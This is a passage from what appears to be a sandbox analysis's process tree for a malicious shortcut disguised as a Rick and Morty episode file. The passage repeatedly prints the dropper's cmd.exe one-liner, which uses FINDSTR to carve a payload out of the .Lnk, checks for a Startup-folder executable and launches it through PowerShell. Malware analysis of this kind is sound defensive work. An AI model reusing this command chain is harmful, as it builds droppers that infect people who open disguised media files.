        92⤵
        
        PID:2264
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0121" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        93⤵
        
        PID:5920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        93⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5844
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        94⤵
        
        PID:224
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0179" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        95⤵
        
        PID:5568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        95⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        96⤵
        
        PID:5572
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0238" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        97⤵
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        97⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        98⤵
        
        PID:4188
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0302" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        99⤵
        
        PID:2392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        99⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2968
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        100⤵
        
        PID:2936
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0366" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        101⤵
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        101⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4928
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        102⤵
        
        PID:3364
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0430" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        103⤵
        
        PID:5416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        103⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        104⤵
        
        PID:5008
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0493" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        105⤵
        
        PID:5760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        105⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5060
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        106⤵
        
        PID:4844
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0563" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        107⤵
        
        PID:4984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        107⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4640
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        108⤵
        
        PID:1652
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0626" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        109⤵
        
        PID:4012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        109⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4000
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        110⤵
        
        PID:1700
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0687" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        111⤵
        
        PID:436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        111⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        112⤵
        
        PID:4092
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0752" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        113⤵
        
        PID:2160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        113⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        114⤵
        
        PID:2108
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0807" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        115⤵
        
        PID:5500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        115⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:744
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        116⤵
        
        PID:5828
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0870" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        117⤵
        
        PID:1240
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        117⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        118⤵
        
        PID:2128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0941" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        119⤵
        
        PID:5356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        119⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5328
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        120⤵
        
        PID:4300
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0007" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        121⤵
        
        PID:1416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        121⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5596
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        122⤵
        
        PID:5496
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0076" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        123⤵
        
        PID:5340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        123⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1460
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        124⤵
        
        PID:1812
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0141" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        125⤵
        
        PID:4244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        125⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4276
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        126⤵
        
        PID:5240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0204" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        127⤵
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        127⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        128⤵
        
        PID:1068
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0274" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        129⤵
        
        PID:4512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        129⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6052
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        130⤵
        
        PID:4944
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0359" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        131⤵
        
        PID:4524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        131⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1672
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        132⤵
        
        PID:3312
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0426" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        133⤵
        
        PID:3064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        133⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3356
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        134⤵
        
        PID:2412
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0498" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        135⤵
        
        PID:5304
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        135⤵
        
        PID:5584
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        136⤵
        
        PID:220
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0580" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        137⤵
        
        PID:2336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        137⤵
        
        PID:1352
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        138⤵
        
        PID:1332
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0659" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        139⤵
        
        PID:5208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        139⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2340
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        140⤵
        
        PID:2344
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0721" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        141⤵
        
        PID:3868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        141⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:928
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        142⤵
        
        PID:3560
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0787" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        143⤵
        
        PID:2376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        143⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2004
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        144⤵
        
        PID:3620
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0851" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        145⤵
        
        PID:4632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        145⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4816
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        146⤵
        
        PID:5320
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0912" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        147⤵
        
        PID:5720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        147⤵
        
        PID:4256
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        148⤵
        
        PID:3352
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0982" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        149⤵
        
        PID:3932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        149⤵
        
        PID:1168
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        150⤵
        
        PID:3844
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0051" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        151⤵
        
        PID:5884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        151⤵
        
        PID:5276
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        152⤵
        
        PID:4412
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0101" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        153⤵
        
        PID:1596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        153⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6116
        
